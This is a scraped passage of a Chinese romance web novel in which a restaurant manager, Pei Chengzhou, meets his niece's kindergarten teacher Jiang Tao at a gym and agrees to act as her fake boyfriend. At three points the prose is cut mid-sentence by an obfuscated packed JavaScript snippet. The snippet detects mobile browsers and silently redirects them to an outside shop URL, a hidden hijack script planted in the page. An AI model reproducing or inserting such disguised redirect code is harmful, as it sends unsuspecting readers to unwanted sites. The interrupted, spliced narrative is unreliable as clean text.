平时有点凶巴巴的小舅舅,突然变得很温柔。 没有批评她看动画片,也没有威胁她不早点睡觉长不高,反而坐下来又陪她多看了一集动画片。允许她可以晚十五分钟再去睡觉,甚至还主动问她要不要听睡前故事。 她百思不得其解,难道有外星人偷偷潜入了地球,变身成了小舅舅吗? 真奇怪。 睡前故事讲完,裴小可一点困意没有,眼睫不停扑闪,“小舅舅,你今天晚上为什么一直笑呀?” 裴乘舟合上故事书,好笑反问:“我为什么不能笑?” “可是你平时一点也不爱笑呀,还总是凶巴巴的。” 是吗? 可能因为今天餐厅的营业额创下四月新高,他挺高兴。 不然? 还能因为什么而高兴? 裴乘舟觑了眼小孩,扬眉,“我平时很凶?” 裴小可用被子遮住嘴,噤声了。妈咪交待过她,不跟小舅舅这个衣食父母一般见识,不然小舅舅就不给她买新玩具了。 裴乘舟瞄了眼小孩的动作,鼻息哼了声笑,“行了,裴小可,该睡觉了。要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310806|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是明天迟到拿不到小红花,可别哭鼻子。” 裴小可在被子下努了努嘴。她不想迟到,可是现在一点也不困,还有一点点想聊天。 她每天都会和妈咪聊一会儿天,今天妈咪说没有空,让她去找小舅舅。 小舅舅应该不会生气吧? 因为他现在还在笑。 犹豫的空当,坐在床边的人忽然起身,她连忙拉住他的小指头,“小舅舅,我可以再晚十分钟睡觉吗?你陪我聊一会儿天我就睡觉了。” 裴乘舟居高临下,眼珠往下睨,“得寸进尺了啊,裴小可。” “我知道小舅舅最好了。”裴小可嘴巴甜甜道,“我的好朋友看见你来接我放学了,她夸你长得帅,还羡慕我有一个特别好特别好的小舅舅。” “……”裴乘舟不知道五岁的孩子哪里来那么多小心思,他揉了把小孩脑袋上细软的头发,重新坐下,“说好了,就聊十分钟。” “嗯嗯!保证就聊十分钟!” 叽叽喳喳的叙事没有按时间顺序,想到哪里就说到哪里。小孩有几天没提到葡萄老师,以及那只名叫四喜的狗,他觉得有点反常,下一秒,只听见裴小可说:“小舅舅,今天葡萄老师给我们变魔术了。” 果然来了。 他配合问:“什么魔术?” 裴小可从被子里伸出两只胳膊,比划出一个牛奶盒的长度,说:“葡萄老师在这么大的玻璃瓶里给我们变出了一场流星雨,可好看了,金光闪闪的,像金色的亮片撒在了水里。”她问,“小舅舅,你看过流星雨吗?” 流星雨在他这里,与看日出日落齐平,统统归类到中二行为中。他嘴上敷衍:“没有。” 裴小可眼睛提溜一转:“小舅舅,你想看流星雨吗?” 没等他说出不想,裴小可又道:“小舅舅,你要是想看的话,我帮你和葡萄老师说。葡萄老师可好可好了,她一定会变魔法给你看的。” 滴滴滴—— 滴滴滴—— 十分钟的定时提示音响起。 “十分钟到了,裴小可,该睡觉了。” “可是小舅舅,你还没有说想还是不想。” 裴乘舟没说想,也没说不想,依旧是那一句十分钟时间到。裴小可闷闷噢一声,和他道晚安。 回到家半个小时后,他终于能躺进按摩椅里,按一按僵硬的肩颈肌肉。 出差回来后的工作强度和出差前没有太多变化,硬要说差异,也不是没有。从前能忙里偷闲的那些闲,大部分腾给了裴小可,个人可支配的自由时间,大大缩减。 手机消息和按摩模式启动同步。阖眼歇息几分钟,裴乘舟点开未读消息。 袁易约他明天见面,他并不打算赴约,另有别的安排。 隔天,裴乘舟拎运动包出驾驶座,便被停在对面车辆的远光灯晃了下眼,只一秒,熄灭,车上下来一个人。 袁易上下扫了他一眼,无语:“你说的没空,就是健身?” 裴乘舟回扫同样一身运动装的袁易,提起唇角,和他一同上电梯:“不是说花天酒地去了?” “连着被某个人拒绝两次,我还不能找给由头给自己找补了?”袁易一副不着调的懒散样,语气吊儿郎当。 “改天,等五一假期吧。” 袁易给了他肩膀一拳,嘴里放狠话:“记住你说的话,再放我一次鸽子,你知道后果。” 裴乘舟嗤笑,电梯正好到达健身房楼层。健身方面,他和袁易练不到一起,放好个人物品后,各自分开。 他勾着一条速干毛巾经过拳击区域,步伐一错,视线多停留了两秒。 正在与拳击教练对打的轻盈灵活身影,倒是挺眼熟。 嘶—— 有点像江萄。 关键词触发,大脑开始不受控制地发散联想。他蓦然回忆起初遇那天,她抱狗离开的背影;水果店前海棠树下的谈话;连续四天在松庭园单方面视角的偶遇,转而又浮想下午接裴小可时,她叭叭叭说的恶趣味事件。 裴小可说,班上有个小朋友中午没午睡,把便便搓成球,摆在了午睡小床的围栏上,他还用便便球砸别的小朋友。被砸的小朋友去和葡萄老师告状,葡萄老师知道后,一点也没生气,还笑眯眯的…… 他在心底不赞同摇头,学生搓屎团乱扔都不生气,不是温吞怯懦怕担责,就是心理—— 砰—— 砰—— 砰—— 连续几声巨响。 拳击台上匀称纤细的身影重重挥出最后一拳,借由出力的惯性侧过身,露出整张脸。 还真是江萄。 巴掌大的素净脸蛋汗涔涔,碎发汗湿打绺,黏在额角,两侧脸颊和眼尾染着激烈运动过后的坨红。她曲臂抵在腰的两侧,踱步来踱步去,调整呼吸节奏。 裴乘舟感觉最后一拳狠狠砸在了自己身上,邦疼。 沉浸的思绪被打断,另一个形容词掉进过慢的网速里,不紧不慢一通转圈后,终于加载完毕,迟滞蹦出脑海—— 变态。 蓦地,两道视线出乎意料、毫无精神准备,在半空中,偶然又巧合地交叉、邂逅。 9. 第 9 章 江萄喘着气矮身从拳击台钻出,一屁股坐到放置擦汗毛巾的矮凳上,双手两指各捏毛巾一角,直接往自己脑袋上盖。 矮凳靠墙,脊背微微往后倾,倚在了墙壁上,双腿豪放往两边岔开,无念无想两眼空空继续平复肾上腺素爆棚后的急促呼吸。 她很长一段时间没来健身房,体能退步严重,已经跟不上先前的训练强度。 热身加上打拳,撑死半个小时,已经累得想随地大小躺。 要不是中午拳击老师发来消息说课程快到期,问她还要不要来上课,她几乎忘了还有这一回事。 去年这个时候,她被健身房的优惠活动诱惑,冲动消费办下两年的年卡。 刚开始还能坚持一段时间,后来直接懒成一摊泥,这一瘫,直接从过完年瘫到现在。 她本来约了哈哈哈没招了在水果店见面,正好让阮淑给她把把关。哪知,今天幼儿园破事一堆,意外事件节外横生,再不发泄一下,她快要像臌胀到极限的气球,轻轻一碰就爆炸。 发泄情绪的方法多种多样,其中就包括运动,稍一踌躇,不如干脆去把剩下的拳击课课程上完。于是在去往健身房的路上,给哈哈哈没招了留言新的地址。 健身房楼下就有一家咖啡厅,她有这里的储值会员,正好可以和他在这边见面。 平复好半天,胸口呼吸起伏的幅度渐缓。江萄继续保持靠墙的姿势发呆,有个人猝然撞入了眼帘,瞳仁倒映出俊挺的身形。 垂下的毛巾遮挡住三分之一视线,丝毫不妨碍她认出对方。 裴小可她小舅舅。 还真是他,她还以为自己缺氧眼花看错了人。 裴乘舟一改西装革履的形象,简单黑T轻薄贴在肌肤之上,不十分紧身,恰到好处清晰勾勒轮廓线条。 身材真好。从颈到肩,再到腰和胯,肌肉曲线张弛有度。精良剪裁的西装起到一部分修饰作用,重要的还是衣服里的人。 换作平时,江萄指定多看两眼,眼里充满对一切美好事物的欣赏。不管是女的她、男的他、不是人的它,一视同仁深情款款。水端得特别平。 但现在,她做不出大表情,连眼皮牵扯睁大的力气也没有,只动了动眼珠子往上看。嘴巴露一条缝,短促且意外地啊了声,嗓子半哑状态,听起来像鸭子嘎叫一声。 别提什么形不形象的问题,她现在累得不想思考,也不想动弹。脑子和身体有自己的想法。脑子说快起快起,身子微笑装死,不,已经微死了好一会儿。 “江老师,好巧。” 里子面子全丢光了,也没什么可以再丢。江萄半死不活萎靡样,虚着气答:“裴先生好巧。” 确实巧。 裴乘舟真没想过会在健身房碰上江萄。这几天遇见她的次数,似乎过于……频繁了。 江萄脸上没什么精神,表情淡,语气平。那双会说话的眼睛虽依旧灼灼,最后挥拳侧身的瞬间,藏着不易察觉的狠和冷。似乎她面对的不是健身房的拳击教练,而是令人咬牙切齿的复仇对象。 拳击台上的江萄,颠覆了从初遇以来,他对她的素净小白花标签化印象。 温和、文静,皆与她此刻面无表情的形象相悖。不过人的性格本就是多面、立体的,并非由他人单方面单角度的认知就能草率评价,更别提仅凭几面之缘、几句谈话,就试图去概括一个人的全貌。是他还不够了解她,片面地下了定义。 眼前素净瓷白的脸颊和自然粉的唇色对调。脸颊洇开的粉面团,像打上了一层腮红,唇色却是失了血色的苍白。握住电解质饮料瓶身的手指微微一动,垂眸间,他拧开瓶盖,递上前。 眼睛轻眨,她的目光从裴乘舟的面庞移到左臂皮肤上,光洁、白皙、紧实,在明亮灯光下,泛着一层光泽。 嘶,那块黑色纹身呢? 洗了? 看着不像,洗掉的纹身无法完美恢复如初。 她误会他了? 江萄的眼珠再次滚动,这次多了点掩不住的意外神色,“谢了。” 伸出去接瓶子的手,没有脱口的话音这么淡定。从抬起就开始不受控制地抖,抖抖抖,抖筛子似的抖了一路。 生理性震颤。剧烈运动是一个很常见的诱因。 裴乘舟的注意力没在她的表情上,手往前伸,将瓶子送进她手里,“客气了。” 有时候人会莫名其妙做出一些自己也无法理解的行为。就像,他把自己的水给了江萄;就像,他本该继续往前,去器械区域,却矮身坐下。若要找出一个理由,可能因为她是裴小可的老师,多了解一些小外甥女在园情况,也在合理范围内。 健身房提供休息的长凳一般长度,江萄岔开的腿没收回,坐下的瞬间,膝盖不小心碰到一起。触碰感很轻,比海棠树下握手的动作还轻。 几乎同一时间,一个并拢腿,一个往后靠,调整坐姿。 “没想到江老师竟然会拳击,很厉害。”裴乘舟由衷夸赞。动作利落,出拳果断,并非硬夸。 江萄其实没料到裴小可的小舅舅会在她身旁坐下,尤其昨夜还发生过一场小插曲。 他不提,她也不会缺心眼去问,非得当面被拒绝,讨不痛快才甘心。他的态度大约与她的猜测八九不离十。 脑袋顶着一条粉色的hellokitty速干毛巾,实在太过傻气,她一把扯下毛巾,胡乱在手里团起,说:“过奖了。” 全托了当时办年卡免费赠送十节拳击课的福。而且她发现,拳击比其他的器械运动要解压。每打出一拳,她能在心里跟着破口大骂。 去他大爷的绩效考核! 去他大爷的奇葩家长! 去他大爷的教学任务!开会!环创! 总之,她能把想骂的人、想骂的事统统骂一遍,完美达到发泄烦闷情绪的目的。 江萄将手里的饮料瓶瓶盖旋出,抿一小口润嗓子,继续道:“只是会些花拳绣腿的假把式,单纯觉得很解压,才继续学下去的。”眼角不小心瞥到微微抬高的眉头,她浅笑自侃,“谁让我是人,不是钢,也不是铁呢。” “平时在幼儿园,压力挺大吧。”裴乘舟不经意扫到她的侧脸,鼻子皱起,挤压出浅浅的纹路,眸光晃回前方,无声勾了勾唇。 肯定句,不是疑问句。光一个裴小可,他无法做到任何时候都能平心静气,更何况整日面对一群叽叽喳喳的小孩子。他已经推翻自己几分钟前虚无的揣测。笑眯眯、和颜悦色的背后,也许单纯是极致无语后莫名奇妙的笑。 江萄出现在健身房,大概真如她所言,来解压的。 “也算不上压力大,只是有时候烦心事相对比较多。”江萄尽量客观论述,不带任何主观色彩,虽然她更想大吐苦水,但倾诉对象的身份不对。 话音落下,隐有冷场的趋势。两个生活圈、工作圈、交际圈毫无交集的人,尚未挖掘出共同话题、共同兴趣爱好,唯一的连接点,只有裴小可。 “我听小可说,今天幼儿园发生了一件……”裴乘舟在心里重新组织一遍语言,“乱丢乱扔的事件。” 虽然脑子还在缺氧混沌中,江萄还是迅速反应过来。眼皮阖上,曼妙的画面清晰浮现脑海,语调写尽无奈,“嗯,对,安屎之乱。” 小朋友的语言会更直白,裴小可也许会这么对她小舅舅说:小舅舅,今天幼儿园有小朋友扔屎啦~ “安史之乱?”尾调上扬,带着疑惑不解。 “那个小朋友……”江萄表情复杂,“姓安。” 安史之乱× 安屎之乱√ 裴乘舟立马意会此史非彼史,难得愣了两秒,促狭一笑。嘴角上扬的弧度过于明显,他虚虚握拳,挡住嘴唇。 嘴是挡住了,低沉入耳的笑声挡不住啊。江萄在心里深深叹一口气,弓起身,手肘支在膝盖上,头疼地不停搓额角,一脸生无可恋。半晌,她偏了偏头,透过指缝望向裴乘舟,“很……一言难尽对吧。” “看来,当幼儿园老师,确实需要极大的耐心。”裴乘舟废了点劲才止住笑,但还是挡不住微弯的眉、含笑的眼。向上的嘴角真的很难压,再笑下去,就不礼貌了。正想开口,有道声音斜插来。 “嘿,亲爱的萄——” 江萄抬头。她那个半年没见,从波浪卷发剃成寸头的酷飒拳击教练,在不远处冲她勾手指,“再来打一局?” 这一瞬,江萄觉得自己腰不酸腿不疼浑身倍儿有劲,扔下裴乘舟开溜得飞快,头也不回地喊,下次补上下次一定补上。 休息了好半晌,淋漓的汗珠已经蒸发,剩下一层黏腻的触感。江萄绕健身房一圈,回到更衣室。算算时间,够她洗个澡,清清爽爽下楼和哈哈哈没招了见面。 半个小时后,江萄收拾好自己的物品,拎包往外走,另一只空余的手,不停拨动吹了半干的发丝。 下行的电梯来得挺快,江萄囫囵瞥过已经亮起的一层按键,往空余的地方站好,低头看起小黄鱼私信。 哈哈哈没招了:【小姐姐,我到了~】 聊天对话框里,附上了一张咖啡店门口的照片。 电梯门缓缓合上,她预估了一下时间,回:【好的,马上到。一分钟。】 一只手猛不丁挡住半合的电梯门,高大身影随之出现,放好手机抬起眼的江瓷,和兀然出现在电梯外的人,打了个照面。随着对方往电梯轿厢迈步,脑袋缓缓跟着后仰,定格在45度夹角。 真巧,又见面了。 裴乘舟只是对她微微欠身,伸手按下关门键。 轿厢安静,只余电梯嗡嗡运作声,以及抵达相应楼层的提示声。 有人到了一层鱼贯出电梯,有人继续下行去往停车场。江萄是前面那一拨。她抬步往外走梯,和她并肩而立的人,也一同出了电梯。 路不是她开,树不是她栽,人人都能走的路,同行也不奇怪,江萄没过多在意,放远视线朝前眺望。 目标挺明显,打眼就看见大厦旋转门和咖啡厅大门之间立着的人。 藏青卫衣,仔裤,双肩包,和哈哈哈没招了发来的照片相似,本人比照片还上相些。好一个青春活力的大学生。 江萄加快了步子上前,正好,哈哈哈没招了也朝她看来。他迟疑了一下,挥手。她抬起手,也挥动两下。 “约了人?” 江萄偏头,对上裴乘舟侧来的眸光,被黑如墨的漩涡吸入海底前,张嘴应了声,说对,约了人。 裴乘舟下意识想追问约了谁,转念又作罢。他和江萄连朋友都不是,陌生人过问太多,逾矩。假如他答应了江萄的请求,还真有一层合约男女朋友的关系。 蓦然蹦出的念头,及时提醒了自己,他还欠江萄一个回答。择日不如撞日,不如多等几分钟,等江萄和对方见面结束。 江萄停下脚步,他也停下,刻意离远了些。那头的对话声隐隐约约,听得不算真切,点头、微笑的肢体动作和面部表情,倒是依然清晰可见。 铃—— 一阵刺耳铃声骤响。 江萄快把包翻了个底朝天,赶在铃声响尽前,翻出滑落到包底的手机,冲那个叫温宇的小男生扔下一句“等我两分钟,接个电话,一会儿进去聊”,便匆匆移动到僻静的角落接听电话。 温余收起接客的灿烂笑容,百无聊赖第N次看咖啡厅门口的限定口味活动海报,有道黑漆漆的身影从旁边晃来,距离一臂的距离停下。 他用余光悄摸打量,好奇窥度。他眼睛没瞎,这位抄兜冷脸酷哥刚才和吃葡萄吐葡萄皮小姐姐一起走来,两人还交头接耳说话。 俩人是朋友? 还是…… 一道白光带着电闪雷鸣轰隆隆从眼前一闪而过。 温余暗地里倒吸气,稍一掂量,打算主动出击。大不了丢个脸。脸嘛,丢着丢着裹上尘土, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310807|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自动就变厚了。 “你也是……同行?”他主动将心头的疑虑问出口。 裴乘舟闻言微怔。 同行? 难不成这位也是做餐饮的? 看着不像,清澈眼神中带着点蠢,倒像涉世未深的大学生。 酷哥没吱声,只轻飘飘睇一眼,温余当他默认,于是又问:“小姐姐也约了你来面谈?” 消费者有权货比三家,他能理解。不过眼前这哥们儿,身高,腿长,脸帅,成熟,沉敛。一对比,他哪哪都略逊色,可以说是一点竞争力都没有。心瞬间哇凉哇凉,到处透风,看来只能打价格战了。 酷哥依旧未言,温余再次当他默认,暗戳戳压低了声音:“嘿,帅哥,你平时接单都是怎么收费的?” 几个关键词归拢到一起,裴乘舟了然于怀。江萄这是在网上租了个男朋友,打算带回家应付家人? 他若有所思落向角落里的背影,一触,收回到身旁背双肩包的男生身上。 当回客串是什么体验? 没有前摇CD的准备,一秒入戏,裴乘舟随口反问:“看心情。你平时怎么收费?” 哈、看心情? 怕是看人下菜碟吧! 大家都是同行,说得这么冠冕堂皇。温余在心里谴责这哥们儿不厚道,一抬眼,对上那双似笑非笑的眼。 笑意不达眼底,投射而来的眼神没有任何温度,像在冰箱冷冻层冻成冰后,才投掷过来。温余不知为何有点发怵,不自觉咽了咽口水。 迟疑间,冰锥变成了利器,夹着刀裹着枪唰唰唰往他身上扎。要是不给个回答,今晚怕是离不开这栋大楼了。他强装沉着镇定伸出手指头比了个数字,说:“我平时收这个数。” 裴乘舟挑了挑眉,表示了解,下一秒,言语又直又白:“你开这个数?那我劝你别费心思了。” 温余瞳孔骤缩,什么意思?! 莫非—— 酷哥收的费用比他还低? 他叫价格的已经比市场价平均值低了,简直就是白菜价。还是说,酷哥对自己很自信,掌握提供情绪价值的独门技巧? 温余比较倾向于第一个猜测,毕竟干他们这一行的,都有套路模板,只需要机灵一点,足够应付各种情况。他不死心,继续追问:“帅哥,我和你透低价了,公平起见,你也给我透个底?” 裴乘舟忽然笑了起来,胸腔跟着震动共鸣。运动确实会让人心情变好,他现在心情挺好。眼尾下敛,两边唇角勾起的弧度却未减,放晴的表情未变,漫不经心道: “我,免费。” “卧槽?!”温余不知道帅哥在笑什么,未免也太狂了。因为中间的停顿,他的好奇心被勾起,听见接在后头那两个字,没忍住怪叫起来。 免、免费?! 这哪里是工作赚钱啊,简直就是倒反天罡,付费工作! 完了完了完了完了…… 这一单,怕是黄了! 温余在心里流下宽面条泪,下一周的生活费在眼前露了个影勾引他,又插着翅膀飞走了。 不行,他要据理力争抢救一下! “这……不好吧,帅哥,你这是在扰乱市场价格啊。” “我不差这点钱。”裴乘舟露了个无所谓、视金钱为粪土的表情,袁易身上的痞里痞气学了个十成十。 温余很想狠摔双肩包。不差这点钱出来接单干什么!就不能给他这种被断生活费,特别差这点钱的大学生留一条活路吗! 江萄接了电话回来,温余不见了影,只剩裴乘舟一人戳在他方才的位置上。四下张望后,向可能能给出答案的人询问:“裴先生,刚才那个小男生呢?” “回去了。”裴乘舟说。 “啊?”江萄懵了一瞬。 还没聊呢,怎么就回去了? “好像,临时接到了一个紧急单。” “噢…嗯?!”江萄猛抬头,扑扇眼睫,小心问,“你知道他是做什么的了?” 裴乘舟屈指,来回蹭两下鼻尖,答:“闲聊了几句。” 江萄下巴上下一点,表示了解了。心里不由叹了气。还说放了一半的心呢,这下又重新高高提起。 两天,还剩下两天。 看来晚上回去,又得重新找卖家。 因着略微俯视的角度,裴乘舟半阖眼,眸光不移。脑袋垂丧而下,半长不短的发尾在打摆。眼底沉静着的一潭水,微不可查地荡起一圈圈涟漪。他忽然喊她:“江老师。” “怎么了?”江萄抬头,嘴角朝两边扯,努力让自己的看起来没那么糟糕。本来心情就不怎么ok,还要强颜欢笑。 白天幼儿园出了个骇人听闻的扔屎事件,她眼睁睁看绩效考核被扣分。假男朋友的事情本该能解决,却又泡了汤。就在刚才,小朋友家长打电话厉声质问她,为什么不给她家孩子吃饭?小朋友说,在幼儿园一口饭没吃上。江萄欲哭无泪,今天幼儿园不吃饭,吃面呀!面!!! 一连串的糟心事快让大脑超载运行,以致于裴乘舟第二次朝她伸出手时,分不出太多的脑细胞去分析,也没听见那张开开合合的嘴在说什么。 江萄迷茫着一张状况外的脸,呆愣地问:“你说什么?我没听清。” 耐心平时和他不沾边,今天例外。裴乘舟没有任何不悦。他看到了江萄生动、鲜活的一面,很有趣的发现。仔细观察,她现在与初见那天,他出价买狗后的表情如出一辙,但还是有些细微差异。至于差异化体现在何处,一时半会儿也说不清,还是正事要紧。他温声重复:“江老师还需要帮忙吗?” 面前的人嘴巴微张,眼睛慢慢睁大到极限,那双会说话的眼睛又回来了。一闪一闪的,异常明亮,透露出难以言喻的喜悦之情。 看来,需要。 “江老师,合作愉快。” 话音刚落,眼里那股耀眼的光芒,转瞬熄灭。 10. 第 10 章 裴乘舟的决定令人始料未及。好比在沮丧之余,天上砸下一块馅饼正中怀里。不大不小,正好能填饱空荡荡的胃。 江萄开心得快在脑海里砰砰砰放烟花,但转念间,尤有一桶装满冰块的冰水从头顶浇灌而下,令发热的头脑极速降温,登时冷静下来。 免费的馅饼到底能不能吃? 这是一个值得深思的问题。 江萄没爽快说合作愉快,反而支支吾吾起来,“我……裴先生,要不……” 算了吧。 “江老师有其他顾虑?”裴乘舟问完,依旧着眼在她身上。 江萄移动眼珠子往地上瞄,心虚避开那道略带探究的视线。 视线如明镜,也如烈火,将她的出尔反尔窥了个仔细,反反复复灼烧。她突然觉得嘴巴干,嗓子涩,手心不由自出冒出薄汗,“裴先生,昨晚我不小心沾了点酒,脑子有点迷糊,说了不太清醒的话,你真的不用放在心上。而且,我也没有和你说清楚日期,还是不要耽误你的时间了。” 眼见她面露难色,裴乘舟跳过前句,挑重点问:“需要什么时候见家长?” 江萄沉默两秒,还是道:“……五一当天,而且需要跨省,在江城。” 江城裴乘舟去过一次,大约在十年前。当时老裴带他去拜访一位长辈。 虽说跨省,但从宜城驱车前往,距离倒是不远,约三个小时车程。 “巧了,那天有空,正好能帮上忙。”他挂起一个浅淡笑容,“江老师不必想太多,只是一个小忙而已,比起这段时间裴小可给你添的麻烦而言,无足挂齿。” 谈不上冲动,但也算不上深思熟虑。说到底,无非承个人情,帮个忙而已,不是做什么生死攸关的商业决策。 她是裴小可的老师,帮忙无可厚非。就当为这段时间对她的打扰至歉,同时也感谢她对裴小可的包容和关照。 再者,既然是应付家里,他不比那小孩靠谱多了?那小孩能应付明白么? 莫名的胜负欲不知道从哪个角落里破土钻出,非要比个高低输赢才肯罢休。裴乘舟微顿,快速从思绪中抽离,继续道:“江老师,若是有时间,麻烦通过一下好友申请。”他轻轻晃动手机,添加好友请求的界面一闪而过,“你把见面的具体时间和地点发给我就好,一定准时赴约。” 江萄一时半会不知道该如何回答,只能抿平唇,用沉默代替。 比起感激裴乘舟的帮忙,其实有一个更现实的考量更令她犹豫。 他不好控制。他不是任人操控的机器人,她的手里也没有操控机器人的遥控器。 如果是花钱的买卖,就算对面临时加价,她也还是买家、是甲方,即使后续差强人意,她可以毫不留情给差评。而裴乘舟,她可没办法指责,也给不了差评。 现在她大可以当面果断拒绝他的帮助,但权衡利弊后,又存了点不可言说的私心。 相亲她是不可能再去相亲,恨不得能有多远躲多远。重新在小黄鱼找卖家,费时且踩雷率极高。 唯二人选中,温余那学幼师的大三小男孩和貌似混到餐厅管理层的裴乘舟横向对比之下,后者看上去显然更靠谱,言语措辞也更妥帖,对上耄耋之年的老太太,胜率更高。 裴乘舟确实是最优的选择。 “裴——” 江萄深吸气,话刚起了个头,嘈杂的哄哄闹闹哇啦哇啦声破空而来,紧接着,杂乱脚步快把大厦侧门的旋转门挤破。 愕然间,她和裴乘舟被挤挤攘攘的人群挤到了角落里。 那群人嘴里音调高亢激动,不停重复呼喊一个人的名字—— “江斐江斐——” “啊啊啊——斐宝——” “斐斐!!!我们爱你!!我们永远支持你!!” 江萄正纳闷是不是有哪个剧组、哪个流量明星在附近拍戏,闻声微怔,半眯起眼睛,对被包围在人群中,黑衣黑帽黑墨镜黑口罩倨傲又冷漠的黑衣人背影,一顿盯。似要把人盯穿。 裴乘舟想问她有没有被挤到,一扭头,身旁的人陡然拔高,差不多和他的身高齐平。江萄不知什么时候踏上了吉祥物脚下的摆台。 吉祥物不规则,半圆半方,仅余半掌缝隙,江萄站得稳稳当当。动作还挺……灵活。有意无意掠视过她侧脸,睁眼、半眯眼,间或摸摸下巴,但注意力似乎一直放在前方。 他随着注视凝神的方向,往前望。 前方被簇拥在中间那位明星的名字听着挺耳熟,伸出手臂护在他身旁的,大概是助理经纪人。那一行人被粉丝团团包围,步履艰难,行走速度极慢。哄乱声中,夹杂几声“别挤”“别挤”。 维持秩序的安保很快赶来,将粉丝们挡在外围。混乱局面被控制住,随着明星被助理和随行的工作人员护进电梯,停留的粉丝们四下散开,现场环境恢复如常。 眼角余光微晃,江萄从摆台踩回地面。不停转动手腕,又甩动手指,活动因用力保持身体平衡而攥紧吉祥物耳朵攥得发白失血的手掌。 小插曲这么一搅和,积攒起来的情绪被中断,江萄这会儿倒是不过于沉浸在纠结合约男女朋友的事情里了。 她通过对方发来的新鲜热乎的好友请求,末了,还是将刚编辑的裴先生的备注一字字删除,改成裴小可家长。 分别前,裴乘舟又一遍提醒,别忘了发送关于见家长的相关消息。江萄只是恬淡笑笑,微微欠了欠身,离开大厦。 江萄身上的卫衣宽宽松松,罩住纤细却丝毫不瘦弱的身形。拳击台上挥拳的灵巧身影,不经意又浮现脑海。这回的残像,久久挥之不去。动静相宜的人物形态,如无声的彩色默片,一格一格显影定影。 裴乘舟在驾驶座坐了好一会儿,没仔细看时间,说不准该按秒计时,还是按分钟计时。 嗡—— 不知哪里响了一声,接着第二第三声。持续不断的嗡嗡震动,将车厢里的沉默悉数摇醒。 调了静音仅震动的手机,在裤兜里亮起。隔着棉质的布料,隐约透出些许亮光。 电话接通。袁易似乎故意贴着话筒说话,听筒传出的声音特别大声。 “哥们儿,你人呢?我就擦个头发喝口水的功夫,你人不见了。” “餐厅临时有急事,先走了。”裴乘舟嫌吵,贴在耳廓的手机移开几寸,脸色未变,应答如流。 “我靠,你好歹说一声啊。电话不接,消息也不回,我还以为你被人绑架了。不是我危言耸听啊,你没看新闻吗?现在的诈骗团伙可狡猾了,专挑帅气的下手,专门培训去骗富婆。” “……没注意看手机,多谢提醒。”刚才他在公共休息室区域里的自动售货机前,正要挑选商品,随意一瞥,有道身影从点缀装饰的绿植从中穿过,等反应过来,已经追着那道身影到了电梯前。 对面的袁易还在就诈骗团伙发散思维,裴乘舟截断他的话匣子,结束没有营养的对话,“还有事吗?没事挂了。” “哎——”袁易叫住他,“你包,不要了?” “你先帮我拿着吧,回头我自己去取。”裴乘舟突然朗笑一声,“不然你好人做到底,送到我家也行。” “我劝你把后面那句话收回去。”袁易气不打一处来,但也不能拿他怎么办,“挂了挂了挂,赶紧挂了,给你打电话简直就是在浪费套餐免费通话时长。” 话从左耳进,又打右耳出,裴乘舟放下还在通话中的手机,启动车子,不咸不淡应一声。准备挂电话,袁易又开始嗷一声制止他的动作。音量比刚才更大,快把车顶掀翻。 “哎我去,被你一打岔,我都忘了。”袁易语速飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310808|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,“五一那天,你带小可来我家聚一聚呗。” “五一……”裴乘舟重新拿起手机,将进行中的通话切换到后台,点开微信,对着一片空白的聊天界面迟疑两秒,退出后,说,“五一那天不行,没空。” “不是,兄弟,说好的五一假期聚一聚呢?!”袁易相当不满地谴责他。 “不还剩下后面那几天?”裴乘舟挑高眉,反问。 “……”从字面角度来说,他话也没说错,袁易反驳不了,只能愤愤愤,“哎——我真是——热脸贴冷屁股!” 裴乘舟动了动嘴,听筒里已经飘出无情嘟嘟声。车子驶离停车场,汇入车流后,他还真去松庭园待到打烊盘点结束,方才回家。 回到家,裴小可已经睡成打呼的小猪仔,滚了蕾丝边的粉色碎花被蹬到一旁,一半盖床,一半盖地板。翻了个身后,她嘿嘿嘿笑出声,嘴里还咕哝着什么。 裴乘舟凑近了听。 “嘿嘿嘿,葡萄、葡萄老师——” “嘿嘿,四喜——” 裴乘舟挺纳闷,小孩到底梦见了什么? 裴小可昨晚做了个一个美滋滋的梦。她梦见了五一假期过后的周末,葡萄老师左手牵她的手,右手牵四喜,一起到绿油油的草坪上玩耍。她和四喜快快乐乐跑来跑去,追来追去,然后—— 美梦就被讨厌的小舅舅叫她起床上幼儿园的声音吵醒了! 经过餐桌边,她扬起下巴嘟起嘴,对着某个喝咖啡的人,小小哼了一声。 裴乘舟放下杯子,看向小孩。他投过去一个眼神,裴小可就撇脑袋。都说女人心海底针,小孩心也挺海底针的。来回几次后,好笑地问:“大清早的,我又惹到你了?” 